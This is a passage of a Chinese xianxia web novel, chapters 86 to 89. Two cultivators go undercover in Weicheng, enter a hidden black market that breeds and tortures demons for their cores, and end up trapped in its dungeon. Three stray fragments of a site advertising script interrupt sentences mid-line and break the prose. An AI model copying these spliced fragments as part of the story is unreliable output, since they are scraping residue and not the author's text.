一行人打马飞驰,从他们面前过去,每人皆面巾覆面,一身玄衣。 等人走远后,叶清漪忍不住道:“青天白日穿成这样,也不知是想隐藏身份还是惹人注意。” 连喜却没有搭腔。 叶清漪有些狐疑,抬眼望去,只见连喜眉头紧锁,神思不定,没有听见叶清漪说的话。 “想什么呢?”叶清漪用手肘捅了捅他。 连喜回过神来,眼中有一丝慌乱:“没什么,就是在想那些人会是什么身份。” “不是说到了这里都不论原本身份吗?你就别想了。” 连喜应过,不再多言。 二人走了一路,几乎从主街这头走到那头了,叶清漪也没说要干什么,连喜倒也不急,没有催促她。期间他们还路过了那座桥,看上去也是普普通通,和其他石桥没什么两样。 又走了一段,叶清漪确认附近没什么人,拉着连喜闪进一旁的小巷内。 “作什么?”连喜不明所以。 叶清漪伸手去拿他肩上的包袱,连喜取下递给她。 “等下你就知道了。”叶清漪说着蹲下打开包袱,里面有两身粗布衣服,还有两双藏青色薄底快靴。 连喜也跟着一起蹲下:“你这是?” “这些布料都很一般,但胜在耐用,我问过掌柜的,这种是卖的最好的粗布衣服,这里的人都很爱穿,干活方便,还耐脏。”叶清漪一边说一边分着衣服,“既然要隐藏身份,就要隐藏的彻底,我刚才还特意在街上转了一圈,这样即便知道我们之前是仙门中人,也会以为之前那两身是我们换装后的打扮。” 连喜轻笑:“行吧!” 叶清漪挑出连喜的衣服:“这是你的,赶紧换上。” 连喜接过,还没反应过来,就看着叶清漪将她的衣服放在一旁,开始脱身上的衣服。 “等下!!!” 连喜大喊一声,一把拉住她:“你,你打算就这么换吗?” 叶清漪眨巴着眼:“啊?” …… 大约半盏茶后,两个穿着朴素但样貌出挑、气度不凡的一男一女自巷中出来,二人皆一身褐色短打,同色长裤,用一根粗布腰带牢牢系住了,裤腿掖在皂靴里,很是精神。 方才连喜用了个结界将叶清漪罩在里面,让她换好了衣服。 至于换下的衣服,连喜已经用乾坤袋装好了。 二人大摇大摆地上了主街,叶清漪刚走两步,连喜在旁小声提醒:“你这样不行。” 叶清漪:“怎么了?” 连喜一边观察着前方一边轻声道:“你这气势不像出门办事的,像随时要搞事的。” 叶清漪和连喜相视一眼。 “用力太过了。”连喜又补了句。 “好吧!”叶清漪有些颓然,“我的确不知道应该怎么表现,才能像一个本地人,而且有个致命的地方,我们不会他们这儿的方言。” “你自然一点就好,至于方言,这里也有很多外地在此定居的,也有外来的女婿媳妇、商人,年轻一代也大多不会土话,都说的官话,所以不必担心。” 叶清漪这才放心。 二人这次往回走,就跟上次体验很是不同,沿街的商贩见他们路过都会招呼一下。 ——“买点肉吧!新鲜的。” ——“包子要吗?” ——“…………” 叶清漪连连摆手。 “他们这里地方很小,邻里几乎都认识,但有很多年轻人早早离乡外出求学、谋生,年轻人中有一些生面孔也很正常,只会被认为是常年在外的年轻一辈回来了。” 连喜一路跟叶清漪讲解着。 “看来这次带你来还真带对了。”叶清漪忍不住称赞他。 连喜扬了扬嘴角,冲她笑了笑。 那些身上有明显灵力气息的人,路过时也都不在意他们了,也表现得比之前自然很多。 叶清漪很是满意,有一种隐秘的快感。 眼看快到晌午,日头开始有些晒人,二人走的有些累了,便在街边一个茶肆外歇脚,连喜还要了一壶大碗茶。 叶清漪端起茶碗喝了一口,特别大声地咋巴了一下嘴,表示很解渴。 对面连喜一脸怪异地看她。 “干嘛?是觉得我粗鲁吗?” 连喜快速眨了眨眼,也端起碗:“也不是,就是没见过你这样,很是意外。” “没人知道我是谁,想干什么就干什么,这样多好。”叶清漪极目远眺,一只脚自然地架在了条凳上,端碗的手顺势 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 搭在上面。 连喜喝了一口茶,搁下海碗,问:“这就是你特别想干的事吗?” 叶清漪放下茶碗,调整好坐姿,一手托腮,认真思索片刻:“我其实没什么想做的事,之前有,现在似乎也没了,是以,我便想开始尝试不同的事物,顺便看看换一个身份,看到的一切会不会有所不同。” 连喜没有表态。 “你是不是觉得我这样有些徒劳啊?” 连喜抬眼看她,摇了摇头,神色郑重:“不会,相反,能够拥有不同的人生,哪怕只是短暂一段时间,也是很难得的体验,若是曾经的身份让你感到无力,又有契机可以告别过去,何尝不是上天对你的眷顾呢?” 叶清漪眼睛亮了亮,一拍连喜胳膊:“没想到啊!你还有这觉悟,这种感觉真好,不管做什么都可以得到支持,不用总担心不小心会犯错,而是被无条件地肯定,真好。” 连喜吃痛地捂着胳膊,转瞬又笑了,只是在听到叶清漪无意中吐露的心声后,眉眼间却蒙上了一层淡淡的忧伤。 “你知道吗?曾经,我努力想要做到让所有人满意,可越是如此,越做不到,反而更让人不满意,好像我浑身都是毛病,做什么都会错,不管怎么表现,都得不到他人的赞许,到后来,就真的屡屡犯错了。” 叶清漪望着远处的小摊,思绪却似乎飘到很远的地方。 “小时候家人对你要求很严苛吗?”连喜神色担忧。 叶清漪摇头:“不是,罢了,后来我也想明白了,或许是我对他人的期望太高,总希望得到他们的肯定和无条件的支持,现在想想,这本就不可能,我也没办法让所有人都对我满意,他人的标准总在变,就算是自己,每个阶段对自身的要求也不尽相同,如果一直看着自己的不足,只会让人一直陷入挫败的情绪中,或许,应该无条件肯定自己吧!不管一切到底如何,就算自己真的做错了,也不必苛责自己,毕竟人无完人。” 连喜沉默地听着,渐渐眉头紧锁,面露忧色。但他安慰的话还没说出口,叶清漪就自顾自开解完了。 “那是自然。”连喜只能如此说,又问,“你为何会有那样的想法呢?” 叶清漪回想着前世的经历,还是无果:“这个问题我也思考了好几遍,只是还没想明白。” “想来大约是你此前遇到的人都不怎么样,他们为了自己的目的,对你有所要求,只有你达到要求才能得到他们的肯定,但他们从一开始就是为了自己,之后也会为了达到其他目的,用同样的方式对待你,这样的人,你永远也不会有让他们满意的一天。” “是啊,他们对我苛责,美其名曰为了我好,实则最终还是为了自己。” “你既然察觉到此,就为时不晚,之后好好想想自己需要什么,做一些真正想做的事情。”连喜温柔地开解她。 叶清漪冲他笑了笑:“我暂时还没想到,等想到了再说吧!到时你还会陪着我一起去完成吗?” 连喜眼中的神色暗了暗。 “当然。”喑哑的嗓音如是道。 87. 暗市探查 叶清漪又喝了一大口,饮尽杯中茶,搁下大海碗。 “是以我打算把没干过的事都干一遍,找出自己喜欢干的事,方才听你介绍了半天,如今看来,此地甚合我意。” 这时又来了两人喝茶,一坐下就闲聊开了。 “你们知道吗?近日城中来了不少生面孔,一看就不是寻常人,莫不是又有什么变故吗?” 店里只有他们和叶清漪两桌人,对面那位身着湖蓝衣裳的男子,说话前先环顾了一圈,又特地看了叶清漪这边一眼。 连喜背对着他们,略低着头,叶清漪更是举起茶碗作喝茶状,借机挡住脸。 “你不知道啊,”那人压低了声音,“仙门又到了三年一度的历练时期,城中的生面孔这才一下子多了,等过了这段时间就好了。” “如今时局安稳,哪有什么妖除啊!”另一位穿着明黄衣裳的男子不以为意。 蓝衣男子没急着回答,不紧不慢喝了口茶,才颇有深意地说了句:“是啊!” 黄衣倒茶的动作一顿:“你是说?” 对面嗓音低沉:“每三年来一次,别说妖了,山上那些飞禽走兽都要被抓没了!” 这话说完,两人都陷入了沉默。 这时又有人进来喝茶,二人点到为止,三两句岔开话题。 以叶清漪和连喜的修为,自然很轻易就能听清他们所言,他们交换了个眼神,无声地达成了共识。 连喜起身走到隔壁桌,掏出一枚上等灵石:“适才无意间听到二位仁兄所言,不知可否多告知一些内情,我等必有重谢。” 那位蓝衣闻言回过身看向叶清漪这边,叶清漪隔空向他颔首示意,蓝衣大约也有些许修仙经历,一看便知是什么情况。 “二位仙长有所不知……” 蓝衣细细道来,叶清漪和连喜这才知道,这渭城看似祥和一片,实则那暗处的腌臜难以想象,那些毫无反抗之力的弱势群体,窥不见天光,在无边暗夜里徒劳挣扎,过着非人的生活,那才是这个小镇最隐秘的痛处。 仙门试炼,每位弟子虽没有猎妖要求,但有个不成文的规定,收服的妖等级越强,考核成绩越好,自然更有希望角逐大弟子之位。 可云仞的试炼三年一次,其他仙门更别提了,算下来几乎每年都有弟子下山试炼,但三族早已达成和平相处多年,彼此互不干涉,魔族蛰伏黑山,只有少量低等妖邪、妖兽散落人间,其中不乏被魔气侵染被迫转为魔修的人族。 真正的邪灵少之又少,等级高的更是罕见,可每一批下山的弟子都交上了不少内丹,也有不少弟子交过等级不低的邪灵内丹。若不是从妖邪身上攫取的,那这些内丹又是如何而来呢? 背后的端倪不难猜测。 根据蓝衣的描述,他们得知镇上有暗市,专门有人负责为试炼弟子解决考核成绩,几乎已经形成了一条完整的商业线路。 以叶清漪和连喜的身份,进入暗市自然不会惹人起疑,为他们行事提供了不少便利。 “你们觉得渭城有几座桥?”当问起暗市具体所在时,蓝衣如是问道。 连喜:“据我们所知,只有一座桥。” 蓝衣摇头:“非也,渭城有两座桥,一座在岸上,一座在水下。” * 他们又来到了那座石桥所在。 石桥上不时有车马驶过,岸边还有三两妇人浣洗衣裳,棒槌高高举起重重落下,梆梆回响。 桥下水流平稳,清澈见底,站在桥上可以清晰看见下方的石桥倒影。 桥头有一条仅供一人通行的石阶,恰好通向下方的岸边,是妇人们浣洗衣裳的必经之路。 但只有知道内情的人,才明白那也是通往暗市的路。 叶清漪和连喜等妇人们洗完衣裳才走下台阶,来到桥洞下方,确认四周无人,二人一挥手唤回之前那身华服,掌心摊开召出佩剑,这才踩上石桥的倒影。 本该被一脚踩碎的倒影却纹丝不动,二人踩在水面也犹如踩在平地,直至走至倒影中心,四周水面忽然开始剧烈晃动,唯有二人脚下那处水面始终平稳,叶清漪抬头望去,所有水流都开始往天上倒流,在他们四周升起水幕,两岸的人家也映在水幕中,随着水流向上倒流,在半空逐渐汇聚成完整的倒影。 所有的河水也尽数升到半空,在二人头顶形成了完整的水面,他们脚下的石桥也露出了实体,原本的石桥则成了倒影。 紧接着二人脚下地面开始翻转,叶清漪重心不稳,随着石桥倾覆的方向朝连喜那边倒去。 慌乱中连喜紧紧握住她的手,二人顺着石桥一同倾倒,直至脚下的世界被翻了上来。 眼前又出现了和小镇一模一样的街道,只是里面的商铺和居民都不一样了,细看之下,倒影中的小镇里还是之前那些居民来往的样子,水下的太阳也成了倒影,随着水波徐徐飘荡,但天幕之上却挂着一轮黑月,整个街道阴沉晦暗,宛若置身幽冥。 叶清漪和连喜对视一眼,举步向前。 走出去很远叶清漪才发现自己的手还被连喜牢牢握着,她以为连喜不知情,便试图挣了挣,不料连喜握得更紧了,还提醒她:“这里情况复杂,你我还是牵住了,莫要出什么岔子。” 叶清漪见连喜这般义正言辞,也不好小气拘泥,便任由他牵着。 二人在主街走着,沿街的小贩面色凶狠,皆不善地打量着他们,毫不避讳。 叶清漪看似眼神惊惧,面色担忧,实则不动声色,暗暗运气,所幸此处没有压制仙法的结界,不然他们会更被动。 越往里走,商铺也逐步扩大,从摆在地上的小摊,独立的推车,再到不同规格的门面。 里面的灵力也更浑浊,一般的修为恐怕受不住,能走到深处的,不管从胆量还是修为都更高一筹,也有实力购买他们的好东西。 二人挑了一处规格还算不错的店面进了,一条街的人似乎都密切关注着他们,此举也是无声地展示了他们的实力,不少人围到商铺门口远远看着,大约许久没有他们这般道行的修士前来造访了。 店内的伙计打眼一瞧他二人的打扮做派,便知来头不小,眉眼满是笑意招呼着,但也没有过度谄媚,毕竟还要探探他们的底才行。 连喜没有直接说目的,而是先打量了一眼铺子,接着扫了眼那伙计。 伙计也见了不少来头不小的人物,对此并未表现得多畏惧,再次笑嘻嘻地问连喜的来意,语气里还带了点考量的意味。 “你们掌柜呢?” “掌柜的出去办事了,不在店里,您有什么事跟我说就行。”伙计话说的很软,态度却不大友善。 “实不相瞒,我想给我师妹送点礼物,这一路也没看到合适的,不知你这里有没有什么不一样的。”连喜语气诚恳。 “这……” 见伙计还有些疑虑,连喜又接了句,“太一般的我也拿不出手,我看你这铺子还挺大的,想着进来问问,若是没有,我再去其他地方瞧瞧。” 说着连喜拉着叶清漪欲走。 “客官且慢!”伙计的态度倏地转变,笑盈盈地凑上来,“客官您这就来对地方了,小店看着一般,但货品丰富,品质也算是这条街数一数二的,保证配得上您师妹的身份,二位请随我来。” 伙计说着将他们往内堂引,门外围观的人也为错失一个大客户而略带惋惜,负气地抱怨了几句就散了。 进了内堂,伙计让他二人先在堂前的罗汉床上坐下,过了会儿拿出一个册子来。 “您看,这里可都是上好的货色,只要灵石给的够,没有买不到的内丹。” 连喜和叶清漪接过一看,名册上赫然是不同等级的妖邪,信息详尽,妖邪名称、属性、等级,内丹品质,明码标价,最骇人的是其中有一条名目是饲养年份。 “这个只是名册,每只妖邪还有详细介绍,若您有看重的,小的再为您调取。” 连喜随手指了个隐蝶妖,属性幻影,等级乙等优级,品质中上。 “客官真是懂行,这隐蝶妖最擅隐匿身形,极难捕获,内丹品质也是上乘的,不过价格也……” “灵石不是问题,只要东西好,可否先看下她的详细信息?” 伙计眉眼齐笑,一叠声地应承:“那是自然,小的这就给您取。” 伙计说着走到一侧,在满墙的书册里挑选起来,叶清漪打量着内堂,三面墙都打了通顶的木柜,里面放满了密密麻麻的书册,若这些都是登记在册的妖邪,她简直不敢再想下去。 连喜察觉出她的想法,安抚地拍了拍她手背。 不多会儿伙计飞身而上,自上方的木格中取出几个册子,又飘然落地,捧着册子走过来。 在他们看来,若是直接飞身而至,是十分失礼的,一般只有平辈,或是关系亲近者可以如此,不过大部分人也并不在意这些,一些行事老派之人会步行至他人面前以示尊重。 “这是您要的东西,我还拿了另外几样,都是珍稀品种,您看看可有合心意的?”伙计将册子尽数放在他们手边的矮几上。 叶清漪挑了一本,随手翻开一页看了,瞬间一股恶心之感涌上心头,她直接嫌弃地一脱手,眼看册子就要掉下地。 那伙计像是早就料到一般,立即出手,从容不迫地将其接住了。 叶清漪掩去一点愠色,又添了几分嫌恶,略带嗔怪地唤连喜:“师兄!” 连喜配合地安抚她。 反倒是那伙计见怪不怪,将册子收好放回矮几上:“第一次看这些的仙姑都这样。” 叶清漪忙往一旁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 躲开。 “这都什么腌臜东西?”叶清漪举袖掩唇,毫不掩饰嫌弃之色。 “您别看它们长得怪异,内丹可是上乘货色,一般越凶狠残暴的妖邪,内丹价值越高。” “可如今这世道如此太平,哪来那么多残暴的妖邪啊?”叶清漪故作不解。 “这个您就不用知道了,小店自有办法。” 连喜搁下隐蝶妖的册子,顿了顿道:“你这些看着都不错,但比我们想要的还是差了一点。” 连喜用下巴指了指叶清漪,点到为止,“我师妹想当大弟子。” 伙计的眼神在二人之间逡巡,郑重拱手行礼:“客官稍待,我还需请示一下我们掌柜的。” 伙计说着退了下去,叶清漪和连喜无声交换了一个眼神,因为不确定有没有人在暗处观察他们,二人并未多说什么。 至于这些名册上的详细信息,也的确令人不适,本以为明码标价就已经足够恶劣了,但事实远远超过他们想象,那些名册里记录了每一只妖邪详细的饲养过程,包括何时喂养魔气,何时激化他们体内的魔性,又是如何逼着他们自相残杀,最终选出品质上乘的妖邪饲养,才能卖出好价钱,吸引更多有购买能力的雇主。 其中还有很多细节,让人不忍直视,这些妖邪多数都只是寻常草木、飞禽走兽吸收天地灵气,开了灵智才幻化的人形,大多懵懂单纯,却被这些人捉了过来,不断喂养魔气,激化他们的魔性,让他们往违背本心的方向发展,培养成可供出售的恶妖,又用灵符压制,使他们不得逃脱,最终还要将其虐杀,只为获取一颗妖丹。 这简直是本末倒置,他们修仙是为了斩妖除魔,可如今,为了在仙门得到更高的地位,却不惜人为培养出这么多恶妖,以供击杀。 那其中还有一些人族,那些孤苦无依,或是生活困苦的底层人族,也会成为他们培养的目标,方法大同小异,且都是通过无数次的尝试才最终研制出高效的、魔气吸收最快、魔性增长最强的办法,这期间不知又害死了多少无辜之人。 这样的势力存在一日,那些无辜的妖灵、人族就会多一分危险。 只是如今也没办法直接铲除。 过了会儿伙计从后面出来,对他们道:“适才我用千里传音向掌柜的说明了情况,他说客官的需求我们能满足,不过这种事情还是有一定风险,所以希望客官可以表达一点诚意。” 连喜会意,当即拿出一个锦囊,看上去沉甸甸的,晃动时还有碎石摩擦的轻响。 连喜从里面拿出一颗正红色的灵石,递给伙计:“这是定金,事成之后,这剩下的都是贵店的。” 灵石约有掌心大小,石面完整,浑然天成,未经雕琢,色泽透亮,成色极佳,一看便知价值连城。 那伙计忙不迭接过,再无他话,当即将他们引到后院。 后院没什么特别,无非是一些厢房,这边的铺面多是如此,前店后宅,后院多作起居用。 进得院内,伙计没有停留,而是将他们引过对面的月亮门,又进了一处院子,后面的地方比他们想的要大,但随着越走越深,叶清漪神情也愈发凝重,握着青锋剑的手更是不由得紧了紧。 连喜察觉到她的不安,握着她的手暗暗用力,给她一点力量。从刚才进了后院开始,连喜就一直拉着她的手没松开过,叶清漪也很坦然,这种时候他们只有彼此可以依靠,也只能选择信任对方。 直到穿过三进院落,拐了好几条抄手走廊,连喜终于按捺不住了,质疑那伙计的用意。 伙计停下,告诉他们已经到了,又说之所以设置得如此隐秘,也是为了稳妥周全,毕竟恶灵的煞气一般人承受不了,若是传到前院,只怕生出一些无谓的事端。 说着又给了他二人一人一道黑色符纸,让他们贴身带好。 “这个符纸可以防止二位被魔气侵扰,进入后院的客人我们都会发放。” 连喜和叶清漪接过,贴身放好。 “不过二位不必担心,里面也有很强的符纸镇压,妖邪们毫无反抗之力,此举不过是为了稳妥起见。”伙计又补了一句。 叶清漪和连喜都沉默听着,但从刚才起,叶清漪就开始怀疑这个伙计的身份,看这样子,很可能他就是这个店的掌柜,只是用伙计的身份掩饰,也算是为自己留个后路。 叶清漪自然也懒得拆穿这无关紧要的伪装。 伙计说完,推开他们边上那间屋子的门,径直走到右侧角落的书架面前,拧动其上的一只青瓷花瓶。 随着机关声响起,石墙上出现一个暗门,暗门自动打开,露出其后一间密室。 “二位请。” 伙计站在入口前做了个请的动作。 二人对视一眼,一齐望去,密室内幽暗一片,宛如深渊。 88. 被困地牢 在看到连喜眼中的坚定后,叶清漪心中仅存的那抹担忧也褪去了,一个转念,二人在沉默中达成了一致,用行动给了彼此力量。 “前面带路罢!”连喜朝伙计做了个手势,拉着叶清漪上前。 二人跟在伙计身后进了密室。 随着一声沉闷的声响,石门关上了。 密室内倒没有外面看着那么暗,煞气也不是那么重,也许是因为佩戴的符纸起了作用。 叶清漪好奇地四处打量着,伙计抬手示意他们往前走,一边跟他们解释:“密室各处都安了可供照明的灵石,又栽种了很多灵花仙草,灵石吸收了仙草的灵力,便会一直亮着,至少能亮几十年。” “倒是巧思。”连喜赞许道。 “客官过誉了,这边请。”伙计压下嘴角的一丝弧度,领着二人又进了更深处的石室。 后面的石室就比前面大很多,顶上还有山泉滴落。 看来石室内部连着附近山体,与山泉相通,想来一般人在这里生活几十天都没问题。 叶清漪看得出神,伙计又说了几句无关紧要的提醒,阻止了叶清漪继续打量。 说话间他们又来到了一处洞窟前,不同的是,面前拦了一道门,五六根手腕粗细的木头用两根横木固定了,充当木门,看起来一把就能推开,上面用铁链挂了把简陋的锁。 那伙计伸手在锁上一抹,那锁便自动掉落。 看来这锁不重要,重要的是其上的结界。 “二位要的东西就在里面。”伙计一边开门一边说。 到了这里,多想无益,他们也不犹豫,举步进去了。 刚踏入其内,一阵罡风迎面打来,直撞脑门,叶清漪呛了一大口。 连喜举袖替她挡开剩下的罡风,并顺势清理了前方的煞气。 “怎么回事?”连喜的语气不由得加重了。 “石室内的妖邪大多凶残成性,煞气不稳,有时会发生这种状况,不过二位带了特定的符纸,所幸不打紧,不过也确实是小店的疏忽,稍后会附赠一些寻常妖丹给二位,以表歉意。” 连喜不悦地一拂袖,将叶清漪护得更紧了。 那伙计在后面打量着连喜,一改之前的笑模样,神色狠厉,眼神阴鸷。 往里走了没多远,就看到两排洞窟,每个洞窟都被悉心改造成了功能齐全的牢笼,分别用于关押不同属性的妖邪,这些妖邪在这里出生,长大,受尽苦楚,最终也将在这里被虐杀,结束残酷的一生。 他们进去的时候有的妖邪正在被强行输入魔气,正发了狠劲,凶恶异常,一个劲地往牢门上扑,还有看起来还未完全魔化的妖邪,无比痛苦地挣扎着,哀嚎着,可惜都是徒劳。 叶清漪侧过脸去,不忍直视,连喜也抬手替她挡去一些残忍画面。 伙计像是见惯了这场面,笑着安抚他们:“客官放心,这些妖笼里都设置了压制妖邪的结界,结界都是针对每个妖邪的弱点设置的,寻常妖物都是无法逃脱的,而且……” 那伙计说着压低了声音,“这些妖物都是很小就被关在这里的,早就没了逃脱的心思,就算出去他们也不知道该如何生存,甚至有些都已经习惯容忍每一次的强行魔化,只需要挨过去,就能如常生活一段时间,这期间他们就会自发地选择忘记这部分痛苦,并且天真地奢望下次我们会高抬贵手。” 见叶清漪和连喜表情有些不对,伙计才停止了略带炫耀的讲解,只道:“就算有想离开的妖物,再经历几次失败的折磨后,也不敢再尝试了,就是撤了结界,他们也还是会以为自己不能出来,客官大可放心,这些年咱们小店就没有出过妖物伤人的事的。” 叶清漪和连喜一时都沉默了,半天说不出一句话,连喜的脸色更是极其阴沉,看向那些被关押的妖邪时,眼神中除了怜悯,还有一丝愤怒。 “入口这些品相一般,二位往前走,前面还有更好的。”对于他二人的反应,伙计也是见怪不怪了,这些修仙者大抵如是,又想买妖丹,又作出这种无可奈何的样子,好像是别人逼着他们买似的,哪像他们这般坦荡。 伙计腹诽着,面上却不露分毫,引着他们进了里面坐下,“走了这许久,想必二位客官也累了,先在此稍事休息,小的去给二位拿东西。” 他们坐着的地方是这个地牢的中心,四周墙上挂着各种刑具,还有一些虐杀妖邪后残留的血腥之气,靠墙的桌上还堆了几十个用琉璃罐收着的妖丹,就在他们的位置旁边。 叶清漪强压下不适,看着对面的连喜。对方向她点头示意,叶清漪也没懂什么意思,刚想开口问,伙计又拿着东西出来了。 “小的先来给二位大致讲一下,内室的妖丹分为三等,一种是早早炼制出来的现成的妖丹,根据品相,价值几十到几百个下品灵石不等;一种是从笼子里这些成熟的妖邪中现场挑选,当场炼制,至少需要五百个中品灵石;若是只买现成的妖丹,现在挑选好就可带走,现场炼制可能需要几个时辰,但今日内也可取走。” 伙计指着边上一排妖丹,那些应该就是现成的。 “这些提前炼好会不会影响其妖力啊!”连喜像模像样地提出自己的疑虑。 “这个二位可以放心,这些琉璃罐都是用妖物的魔气特制的,至少能维持十几年,妖丹在其中宛如仍在妖物体内一般,妖力不会受到丝毫影响。” 连喜若有所思点点头,又问:“现场炼制未免太残忍了,况且我师妹还在。” “明白,小店卖的最多的也是现成的妖丹,大部分客官也都是这样的担忧。” “那第三种呢?”连喜问。 “第三种也是本店规格最高的定制妖丹,客官可以选择想要的妖邪品种,定制出完全贴合心意的妖丹,最低十个上品灵石,上不封顶,耗时也会更久。” “大概要多久?” 见连喜根本不在意价格,伙计的态度更加热情了:“这个说不好,快则三个月,慢的要好几年。” “好几年?那怎么来得及?试炼也就一年的时间啊!”叶清漪不解。 “那自然是有讲究的,这里面就有几只是早些年就被贵客预定的,所有流程都是按照他们的需求来的,何时开始激发魔性,何时喂药,每日魔化多久,都是严格执行的,只为了最后能够达到当时定下的标准。有些贵人深谋远虑,早早就为将入仙门的子弟备上了,时间也是严格控制,只为在考核前最合适的时间拿到最顶级的妖丹。” “竟还能如此行事!”叶清漪意味深长地说着。 “正是,毕竟仙门成立多年,这样的事情也不是头一回,不过大部分还是像二位这样的情况,若是需要定制妖丹,我们也可以将时间控制在一年或半年之内。” “这么短的时间,能炼制出成熟的妖丹吗?”叶清漪追问。 “那速成有速成的办法,只需要频繁地喂养大量魔气,逼着他们提前魔化,最终也是可以产出成熟的妖丹的,自然,品相也和其他优质的妖丹一样,这个二位绝对放心。” 叶清漪已经不忍心再问了,给了连喜一个眼神,意思是交给他来处理。 连喜会意,神情凝重,作犹豫状:“你说的情况我们都了解了,灵石不是问题,主要是品相要顶级,最好要快,我和师妹还想借着四处游玩数月,之后便直接回山了,在那之前,还是希望可以拿到满意的妖丹。” 连喜的要求恰好是他们最乐于见到的情况,伙计又借机将价格翻了一倍,连喜都很爽快地答应了,又付了一颗灵石当定金。 “说了这么多,你应该明白我师妹想要的是什么品相了吧!你们这里最顶级的成妖是哪只,我们只要那种!” “客官这么一说,我倒真想起一个,前不久我们在山上意外抓了一只受伤的妖邪,是难得一见的大妖,想来刚好符合您二位的要求!只是她的伤还没调养好,若是要取妖丹,只怕还需要再好好用魔气养一阵子。” “那倒无妨,我们可以等,总之一定要确保别人的妖丹不能越过我师妹去!” 伙计连连点头:“理解理解!” 一旁的叶清漪听得一头雾水,一个劲儿给连喜使眼色,对方却恍若未闻。 “那我们可以先看看那只恶妖吗?” “此妖是近乎灭绝的紫蝠一族,若非她受了重伤,我们还捉不到呢!”伙计说着起身将他们引到地牢更深处。 叶清漪在后面扯了扯连喜的袖子,眼神满是疑惑。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “师妹,我知道你有些不耐了,等见过了这恶妖,定下妖丹,我们就回去。”连喜刻意大声安抚叶清漪,还暗暗拍了拍她的手。 叶清漪只好暂时作罢,静观其变。 里面是一处独立的宽敞大囚牢,一位看不清模样的女妖被锁妖链锁住了手脚,不过境遇比其他妖邪好很多,还有特制的食物供她食用,也许是因为她受着伤不能炼制妖丹的缘故。 叶清漪在后面张望,越看越觉得,这女妖的衣着打扮很是熟悉。 等再走近一点,牢内的女妖大约是听到他们靠近,缓缓抬起头,露出一张熟悉的脸。 这不是紫玥吗?她怎么被抓到这里来了? 叶清漪下意识去看连喜,看这情形,连喜和紫玥如今尚未相识,难不成前世连喜也是这样救下紫玥的? 当时他们与邪灵在冀州城一战,叶清漪和紫玥匆匆打过照面,之后从云宸心海出来后,所有妖邪都被收服了,紫玥也不知下落,难不成紫玥那时候就被这些人抓了?也许是她受伤后准备返回黑山,恰好途径渭城,这才被掳来。 “这……这都这样了,你确定她是顶级妖邪?”连喜提高了音调,质疑起紫玥的品相。 那伙计还没说什么,牢内的紫玥就嗤笑一声,又低下头去。 连喜急了,指着紫玥:“她这,这是什么意思?是在嘲讽我吗?” “客官稍安,品相高的妖邪难免性子怪异,只要妖丹够好,一切都好说不是吗?等回头您取了妖丹,她也就再没那本事取笑您了?” “所以你还是觉得她在嘲讽我?” “这个,也不是这么说!”伙计赔着笑,想了想又道,“这样,您二位先在这边上等候片刻,我进去取下这大妖一寸妖骨给二位鉴赏鉴赏,便知可她品相一绝。” “等等!”连喜抬手示意,“这么血腥的事就算了,我师妹不喜欢见血,你就将这恶妖带过来,我们当面看过也就是了。” 那伙计闻言愣了片刻,这才端起笑意:“得嘞!二位稍待。不过这妖笼的结界会对你们身上的符纸有所影响,二位还是先到一旁等候,等我将她带出来,再给二位验货。” 连喜点点头,拉着叶清漪退至一旁。 那伙计在紫蝠牢门前一通施法,忽然甩出一道符纸,道了声:“封!” 随着他一声令下,叶清漪和连喜所在的地方忽然闪过两道黑影,两面和隔壁一模一样的牢门拔地而起,将他二人圈在其中。 “这是作什么?快放我们出去!”叶清漪大喊。 二人试了一下,无法破开牢门。 连喜隔着门对那伙计说:“你是不是弄错什么了?” 那伙计皮笑肉不笑地扯了扯嘴角:“弄没弄错的,过两天就知道了,原本我就觉得你们有些可疑,事到如今我算是明白了,你们莫不是和这大妖是一伙儿的?大费周章混进来就是为了救她吧!既然如此,你们就好好地待着作伴吧!” 伙计说完就走了,也不给他们解释的机会。 叶清漪又试了几次,还是无法冲破牢门:“怎么办,我的灵力似乎弱了很多。” “这里地形特殊,有所压制也是难免。”连喜研究着上方的岩石,“此地名叫花山谜窟,是由三十几处洞窟相连而成,我之前就听说过此处,但一直无缘得见,原来竟藏在这里。看来这个灵石阁的掌柜是特意将我们带到这里,谜窟地形错综复杂,只怕没那么容易出去。我们一路又佩戴了他给的灵符,没有留下任何气息,就算有同门寻找,也无法察觉我们的踪迹。” “这可如何是好?”叶清漪略有担忧,但并未乱了阵脚,也不知哪里来的莫名的信心。 “其实我幼时也是在街边流浪,后来被师尊所救,带回云仞,如果不是他救了我,或许我也是这些妖笼中的一员。”连喜一边四处检查着一边说。 叶清漪此时一心想着如何离开,只自顾自叹了口气,连喜的话根本没听进去,只知道他刚说了几句话,具体说的话则是毫无印象。 过了会儿又扒在门上关心紫玥的伤势,紫玥照旧哼了一声,扭过头去,根本不愿意搭理叶清漪。 叶清漪无力计较,只默默退了回去。 这下真是全军覆没了! 89. 被困地牢2 “这个洞窟置身在层层结界之中,这个牢笼则是最后一道结界,我们的灵力几乎无法施展。”连喜已将这地牢情况了解得差不多了。 叶清漪更气愤了,从怀里掏出伙计给的黑符纸,重重摔在地上,还泄愤地踢了两脚:“现在怎么办?” 连喜也将符纸取出,按在桌上:“不过这符纸已经无关紧要了,我刚试了几次,这牢内的结界像是专门针对我们的灵力设置的,这么短的时间内,他们竟能造出如此匹配的结界,不会是巧合,看来之前带着我们在洞窟内走了那么久是为了试探你我底细。” “他们肯定不是第一次干了,也不知我们怎么漏出了破绽,你不过就多问了一句,怎么就被他发现了呢?” “应该不是这么简单,只怕他从一开始就怀疑你我了,见我们要求进来查看,干脆顺水推舟,请君入瓮。不过我们也本想深入内部查看,倒是无妨,如今要看看如何离开。” 叶清漪:“这破地方待得人莫名烦躁,想打人。” 连喜扫了一眼外面:“这里恶妖太多,煞气过重,你修为不足,难免会不舒服。” “谁能料到会如此呢!早知道就拼命修炼了。” 叶清漪双手抱胸,眉头深深拧着。 “好了,别愁眉苦脸了,我修为也不算低,不也落在这里了。” 她说的是练得比他还强…… “那如今怎么办?就这么耗着吗?” “如果我没猜错的话,那伙计只怕不是简单的伙计。” “我也看出来了,他才是掌柜。” 